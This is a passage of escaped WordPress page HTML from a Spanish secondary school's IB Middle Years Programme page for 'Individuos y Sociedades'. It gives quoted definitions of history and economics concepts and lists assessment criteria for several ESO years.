presidencias y las dictaduras, entre otros, expresan una serie de valores humanos y reflejan una comprensi\u00f3n variada de la historia y la cultura. El gobierno plantea cuestiones acerca de la distribuci\u00f3n de recursos, la promulgaci\u00f3n de leyes y el equilibrio de poder entre los individuos y las comunidades en las que viven. Los gobiernos democr\u00e1ticos son responsables ante el pueblo que los elige.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 59.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Identidad<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La identidad es la combinaci\u00f3n de los valores, las ideas y las experiencias que definen, configuran y constituyen qui\u00e9nes somos, nuestras perspectivas y c\u00f3mo nos comportamos como individuos, comunidades, sociedades y culturas. La identidad da forma a las interpretaciones y los procesos hist\u00f3ricos. La identidad cobra forma gracias a influencias externas e internas, y es relacional (la noci\u00f3n de \u201cnosotros\u201d frente a la de \u201cellos\u201d). Este concepto se refiere a c\u00f3mo se forman, evolucionan y se expresan las percepciones individuales y grupales de uno mismo. Desde una perspectiva hist\u00f3rica, la identidad puede examinarse como la causa o la consecuencia de un acontecimiento, una idea o un proceso. Adem\u00e1s, la noci\u00f3n de ciudadan\u00eda es una forma de identificaci\u00f3n pol\u00edtica e hist\u00f3rica relevante de los pueblos.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 59.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Ideolog\u00eda<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Una ideolog\u00eda es un sistema de ideas e ideales que pueden sentar las bases de teor\u00edas, pol\u00edticas y acciones econ\u00f3micas o pol\u00edticas. Las ideolog\u00edas suelen comprender un conjunto sistematizado de premisas y afirmaciones que se usan para interpretar el mundo y estipular declaraciones normativas acerca de c\u00f3mo debe organizarse. Las ideolog\u00edas pueden evolucionar y cambiar con el tiempo para cubrir las necesidades de un grupo de personas o una sociedad. Las ideolog\u00edas pueden derivar del lugar y el espacio en el que se encuentran ubicados un grupo de personas o una sociedad. Asimismo, pueden evolucionar hasta convertirse en sistemas pol\u00edticos, econ\u00f3micos o sociales, los cuales pueden tener un impacto en las personas de distintas maneras, por ejemplo, mediante la definici\u00f3n de ciertos derechos y responsabilidades.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 59.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Innovaci\u00f3n y revoluci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La innovaci\u00f3n incorpora la comprensi\u00f3n de procesos que impulsan el cambio y la invenci\u00f3n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En historia, este concepto estudia el proceso de generaci\u00f3n de ideas, acontecimientos, movimientos, soluciones o productos nuevos mediante la alteraci\u00f3n, transformaci\u00f3n, reorganizaci\u00f3n, reestructuraci\u00f3n, reubicaci\u00f3n o renovaci\u00f3n de los ya existentes. La innovaci\u00f3n est\u00e1 relacionada con los individuos y las sociedades, ya que estos utilizan su capacidad de crear, idear y emprender cosas que pueden tener consecuencias positivas y negativas a corto y largo plazo.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 59.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Interdependencia<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La interdependencia es el estado de dos o m\u00e1s individuos, grupos o sociedades que dependen unos de otros. Esta dependencia mutua deriva con frecuencia de la necesidad de estos individuos, grupos o sociedades de crecer, desarrollarse, cambiar o avanzar. La interdependencia puede llevar a una variedad de resultados, tanto positivos como negativos. Estos resultados pueden ser los mismos o diferentes para ambas partes involucradas en la relaci\u00f3n. Asimismo, los resultados pueden cambiar seg\u00fan el per\u00edodo y la ubicaci\u00f3n en la que coexisten los individuos, los grupos o las sociedades. Las relaciones de interdependencia no son necesariamente horizontales. La historiograf\u00eda tambi\u00e9n estudia procesos de dependencia, dominaci\u00f3n y poder entre pueblos o naciones.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 60.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Perspectiva<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La perspectiva es un concepto de naturaleza diferente, ya que est\u00e1 m\u00e1s claramente relacionada con las destrezas de la disciplina. La perspectiva es la forma en que alguien analiza algo teniendo en cuenta todo lo que ha ocurrido con relaci\u00f3n al objeto de estudio en el pasado, y la relaci\u00f3n entre quien lo analiza y dicho objeto del pasado. Para los historiadores, la perspectiva implica la necesidad de comprender diferentes versiones de un acontecimiento.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 60.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Significaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La significaci\u00f3n es un concepto de naturaleza diferente, ya que est\u00e1 m\u00e1s claramente relacionada con las destrezas de la disciplina. Hace referencia a la cualidad de poseer un gran valor con relaci\u00f3n al contexto hist\u00f3rico. Este es el escenario pol\u00edtico, social, cultural y econ\u00f3mico en el que se desarrollan una idea o acontecimiento concretos. Para comprender mejor algo desde el punto de vista de la historia, debemos analizar su contexto: los elementos que lo rodean en el tiempo y el lugar y que le dan significado o valor. De esta forma, podemos obtener, entre otras cosas, una idea de qu\u00e9 tan \u00fanico o com\u00fan es el acontecimiento o la idea en comparaci\u00f3n con otros.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 60.<\/cite><\/blockquote>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading has-normal-font-size\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados_con_Economia\"><\/span>Conceptos relacionados con Econom\u00eda<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-df0a2481\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Comercio<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El comercio es el intercambio de bienes y servicios entre los distintos participantes de una econom\u00eda. Cuando las personas pueden comerciar libremente, incluido el comercio con otras naciones, normalmente crece la riqueza general. Sin embargo, es posible que las ganancias obtenidas de este aumento en la riqueza no se distribuyan equitativamente. El comercio puede verse limitado por varios factores, incluidos, entre otros: la guerra y el terrorismo, los desastres naturales, las regulaciones y los impuestos gubernamentales, el control de los mercados por parte de empresas monopolistas, y las acciones de los trabajadores, como por ejemplo, las huelgas.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 51.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Consumo<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El consumo consiste en el uso de productos para satisfacer necesidades y deseos inmediatos. Los productos que usamos para cubrir directamente nuestras necesidades y nuestros deseos se llaman denominan \u201cbienes de consumo\u201d (por ejemplo, un televisor cubre el deseo de entretenimiento). Entre las alternativas al consumo se encuentran la inversi\u00f3n y la conservaci\u00f3n. En el caso de la inversi\u00f3n, los productos se elaboran y pueden ser usados posteriormente para generar otros bienes y servicios, en lugar de ser consumidos de inmediato. En el caso de la conservaci\u00f3n, se evita la producci\u00f3n a fin de preservar los recursos. Tanto la inversi\u00f3n como la conservaci\u00f3n permiten la posibilidad de lograr un consumo mayor en el futuro. La combinaci\u00f3n adecuada de consumo, inversi\u00f3n y conservaci\u00f3n es motivo de debate.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 51.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Crecimiento<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El crecimiento es un aumento en el valor de todos los bienes y servicios producidos en una econom\u00eda. Puede ocurrir como resultado de un aumento en la cantidad de los recursos de una sociedad o del uso m\u00e1s eficiente de los recursos existentes. Que el crecimiento econ\u00f3mico lleve o no al desarrollo (mayor bienestar para todas las personas en la econom\u00eda en cuesti\u00f3n) depende de qu\u00e9 productos se fabriquen y c\u00f3mo se distribuyan.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 51.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Elecci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La elecci\u00f3n consiste en tomar una decisi\u00f3n a partir de, por lo menos, dos alternativas, sabiendo que, al elegir una, tendremos que renunciar a la otra (por ejemplo, si compramos una c\u00e1mara, no podremos comprar tambi\u00e9n un tel\u00e9fono con el mismo dinero). Debido a la escasez de recursos (necesidades y deseos ilimitados que se cubren con recursos limitados), debemos hacer elecciones acerca de qu\u00e9 necesidades y deseos queremos cubrir con los recursos de que disponemos. Desglosamos la elecci\u00f3n econ\u00f3mica en tres preguntas m\u00e1s espec\u00edficas:<br>\u2022 \u00bfQu\u00e9 productos debemos fabricar y cu\u00e1nto de cada producto debemos producir?<br>\u2022 \u00bfC\u00f3mo debemos fabricar nuestros productos? (Es decir, \u00bfc\u00f3mo debemos combinar nuestros recursos para producir bienes?)<br>\u2022 \u00bfQui\u00e9nes deben recibir los productos que fabricamos? (Es decir, \u00bfsobre la base de qu\u00e9 criterios \u2014por ejemplo, riqueza o equidad\u2014 debemos distribuir los productos?)<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 52.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Equidad<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La equidad incluye la consideraci\u00f3n de temas relacionados con la igualdad y la justicia. En econom\u00eda, una de las cuestiones principales relacionadas con la equidad es la distribuci\u00f3n de los productos. Quienes poseen mayores ingresos y riqueza tienen la posibilidad de consumir m\u00e1s productos y, si las diferencias de consumo son lo suficientemente marcadas, es posible que se llegue a una situaci\u00f3n extrema de desigualdad o injusticia. Qu\u00e9 constituye una distribuci\u00f3n justa o equitativa del consumo es motivo de debate.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 52.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Escasez<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Un bien es escaso cuando la demanda del mismo es mayor que la oferta a precio cero. El poner precio a los bienes nos ayuda a abordar el problema de la escasez. La escasez surge del hecho de que nuestras necesidades y nuestros deseos son ilimitados, mientras que los recursos disponibles para cubrirlos son limitados. Esto nos obliga a elegir qu\u00e9 deseos y necesidades cubrir y cu\u00e1les no. Los deseos y necesidades que no cubrimos representan el costo que pagamos por los que s\u00ed cubrimos. Por ejemplo, si elegimos usar nuestros recursos para fabricar televisores en lugar de libros, el costo de los televisores son los libros que no pudimos fabricar despu\u00e9s de haber usado nuestros recursos en los televisores. Esta comprensi\u00f3n econ\u00f3mica del costo suele llamarse \u201ccosto de oportunidad\u201d.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 52.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Globalizaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Como concepto relacionado, la globalizaci\u00f3n abarca las repercusiones y las expectativas locales, nacionales y globales de un mundo cada vez m\u00e1s \u201cpeque\u00f1o\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La globalizaci\u00f3n econ\u00f3mica es la integraci\u00f3n cada vez mayor de las econom\u00edas nacionales, de modo que los recursos, los productos y la informaci\u00f3n fluyen m\u00e1s libremente entre pa\u00edses. La globalizaci\u00f3n es un proceso continuo que puede acelerarse, desacelerarse o incluso revertirse. En la actualidad, existen muchos acuerdos entre pa\u00edses que aumentan la integraci\u00f3n econ\u00f3mica en distintos grados (es decir, varios tipos de bloques comerciales). La globalizaci\u00f3n puede desacelerarse o revertirse cuando los gobiernos u otros grupos toman medidas para limitar el movimiento de recursos, productos o informaci\u00f3n entre pa\u00edses. Esto puede suceder por varias razones, incluidas, entre otras: una guerra, el deseo de proteger la industria nacional o el deseo de recaudar impuestos sobre las importaciones.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 52.<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Modelo<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los modelos son simulaciones simplificadas de ciertos aspectos de la econom\u00eda. Estos son necesarios porque la complejidad de una econom\u00eda real dificulta el control de las variables necesarias para realizar experimentos. Al construir modelos econ\u00f3micos, nos enfrentamos a los desaf\u00edos que presenta el tratar de explicar la complejidad de la econom\u00eda real y al hecho de que la conducta humana puede ser impredecible.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 53.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Pobreza<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La pobreza es la situaci\u00f3n en la cual las personas no son capaces de lograr un nivel adecuado de consumo. Las personas viven en la pobreza cuando no pueden cubrir sus necesidades b\u00e1sicas de supervivencia, como la vestimenta, los alimentos y la vivienda. No obstante, muchos argumentan que un nivel adecuado de consumo va m\u00e1s all\u00e1 de las necesidades b\u00e1sicas e incluye aspectos tales como la educaci\u00f3n y la atenci\u00f3n sanitaria. Por lo tanto, determinar el nivel de consumo por debajo del cual se genera la pobreza es motivo de debate.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 53.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Poder<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El poder de individuos y grupos puede definirse como la capacidad de hacer que las cosas sucedan. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En econom\u00eda, el poder es la capacidad de elegir qu\u00e9 producir, c\u00f3mo producirlo y qui\u00e9n recibir\u00e1 los bienes que se produzcan. El poder puede estar m\u00e1s centralizado, como en el caso de una econom\u00eda dirigida, en la que las elecciones econ\u00f3micas las realiza el gobierno, o en situaciones de monopolio u oligopolio, en las que las elecciones econ\u00f3micas las realizan unas pocas empresas importantes. Por otro lado, el poder puede estar descentralizado, como en el caso de una econom\u00eda de libre mercado, en la que numerosas empresas y consumidores comparten el poder.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 53.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Recursos<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los recursos son las cosas que usamos para fabricar los productos que cubren nuestras necesidades y nuestros deseos. Los economistas los llaman tambi\u00e9n \u201cfactores de producci\u00f3n\u201d y los clasifican en cuatro categor\u00edas generales: tierra, trabajo, capital y capacidad empresarial. Los empresarios combinan la tierra, el trabajo y el capital de distintas formas para producir distintos bienes y servicios. Por ejemplo, el due\u00f1o (peque\u00f1o empresario) de una verduler\u00eda combina frutas y verduras (recursos naturales\/tierra) con el local en el que se encuentra la tienda (capital) y su trabajo y el de sus empleados (trabajo) para ofrecer un producto a los consumidores (frutas y verduras disponibles en un lugar de c\u00f3modo alcance).<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 53.<\/cite><\/blockquote>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_y_criterios_de_evaluacion\"><\/span>Objetivos y criterios de evaluaci\u00f3n<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">El grupo de asignaturas Individuos y Sociedades del Programa de los A\u00f1os Intermedios engloba en el IES Rosa Chacel los objetivos y criterios del curr\u00edculo de la Comunidad de Madrid en los cuatro bloques propios del PAI, que se exponen en este apartado. Se se\u00f1alan en cursiva los a\u00f1adidos introducidos en los criterios de evaluaci\u00f3n del PAI para atender a los del curr\u00edculo nacional espa\u00f1ol.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"1o_ESO_2o_PAI\"><\/span>1\u00ba ESO (2\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-33eb82fe\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Conocimiento y comprensi\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-9ed7008e-0b79-4c3b-992d-0d7011686c0d\">\n<li>Usar vocabulario en contexto<\/li>\n\n\n\n<li>Demostrar conocimiento y comprensi\u00f3n de los contenidos y conceptos espec\u00edficos de la asignatura, utilizando descripciones, explicaciones y ejemplos. <em>En concreto, los siguientes, contenidos en el curr\u00edculo para 1\u00ba de ESO de Geograf\u00eda e Historia en la Comunidad de Madrid:<\/em>\n<ol class=\"wp-block-list\">\n<li><em>Bloque 1. El medio f\u00edsico<\/em>\n<ol class=\"wp-block-list\">\n<li><em>La Tierra<\/em><\/li>\n\n\n\n<li><em>Componentes b\u00e1sicos y formas de relieve<\/em><\/li>\n\n\n\n<li><em>Los elementos del medio f\u00edsico. Espa\u00f1a, Europa y el mundo: relieve, hidrograf\u00eda; clima: elementos y diversidad; paisajes; zonas bioclim\u00e1ticas; medio natural: \u00e1reas y problemas medioambientales<\/em><\/li>\n\n\n\n<li><em>Los mapas y otras representaciones cartogr\u00e1ficas. Las escalas<\/em><\/li>\n<\/ol>\n<\/li>\n\n\n\n<li><em>Bloque 2. El espacio humano<\/em>\n<ol class=\"wp-block-list\">\n<li><em>Espa\u00f1a, Europa y el mundo: la poblaci\u00f3n; la organizaci\u00f3n territorial; modelos demogr\u00e1ficos, movimientos migratorios; la ciudad y el proceso de urbanizaci\u00f3n<\/em><\/li>\n<\/ol>\n<\/li>\n\n\n\n<li><em>Bloque 3. La Historia<\/em>\n<ol class=\"wp-block-list\">\n<li><em>La Prehistoria<\/em><\/li>\n\n\n\n<li><em>La Historia Antigua<\/em><\/li>\n\n\n\n<li><em>La Pen\u00ednsula Ib\u00e9rica: los pueblos prerromanos y la Hispania romana. El proceso de romanizaci\u00f3n. La ciudad y el campo. El arte: arquitectura, escultura y pintura. Las invasiones germ\u00e1nicas en la Pen\u00ednsula Ib\u00e9rica: los visigodos<\/em><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Investigaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-40788409-a0c8-416c-b9be-1aa89cf4d57b\">\n<li>Explicar la elecci\u00f3n de una pregunta de investigaci\u00f3n<\/li>\n\n\n\n<li>Seguir un plan de acci\u00f3n para explorar una pregunta de investigaci\u00f3n<\/li>\n\n\n\n<li>Obtener y registrar informaci\u00f3n pertinente y coherente con la pregunta de investigaci\u00f3n<\/li>\n\n\n\n<li>Reflexionar sobre el proceso y los resultados de la investigaci\u00f3n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Comunicaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-b25e3e5b-fd1a-4e0e-8036-5111b5633c4d\">\n<li>Comunicar informaci\u00f3n e ideas con claridad<\/li>\n\n\n\n<li>Organizar la informaci\u00f3n y las ideas de forma eficaz para la tarea<\/li>\n\n\n\n<li>Enumerar las fuentes de informaci\u00f3n siguiendo las instrucciones de la tarea<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Pensamiento cr\u00edtico<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-c684a7ef-9c26-48e6-8c41-ac1c8515c76e\">\n<li>Identificar los aspectos principales de ideas, acontecimientos, representaciones visuales o argumentos<\/li>\n\n\n\n<li>Usar informaci\u00f3n para expresar una opini\u00f3n<\/li>\n\n\n\n<li>Identificar y analizar una variedad de fuentes o datos en lo que respecta a su origen y prop\u00f3sito<\/li>\n\n\n\n<li>Identificar opiniones diferentes y sus implicaciones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"2o_ESO_3o_PAI_%E2%80%93_3o_ESO_4o_PAI\"><\/span>2\u00ba ESO (3\u00ba PAI) \u2013 3\u00ba ESO (4\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-44974cb1\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Conocimiento y comprensi\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Usar terminolog\u00eda variada en contexto.<\/li>\n\n\n\n<li>Demostrar conocimiento y comprensi\u00f3n de los contenidos y conceptos espec\u00edficos de la asignatura mediante descripciones, explicaciones y ejemplos.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Investigaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Formular o elegir una pregunta de investigaci\u00f3n clara y precisa, explicando su pertinencia.<\/li>\n\n\n\n<li>Formular y seguir un plan de acci\u00f3n para investigar una pregunta de investigaci\u00f3n.<\/li>\n\n\n\n<li>Usar m\u00e9todos para obtener y registrar informaci\u00f3n pertinente.<\/li>\n\n\n\n<li>Evaluar el proceso y los resultados de la investigaci\u00f3n, con orientaci\u00f3n.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Comunicaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Comunicar informaci\u00f3n e ideas de un modo apropiado al destinatario y al prop\u00f3sito en cuesti\u00f3n.<\/li>\n\n\n\n<li>Estructurar la informaci\u00f3n y las ideas ci\u00f1\u00e9ndose a las instrucciones de la tarea.<\/li>\n\n\n\n<li>Crear una lista de referencias y citar las fuentes de informaci\u00f3n.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Pensamiento cr\u00edtico<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Analizar conceptos, cuestiones, modelos, representaciones visuales y\/o teor\u00edas.<\/li>\n\n\n\n<li>Resumir informaci\u00f3n para elaborar 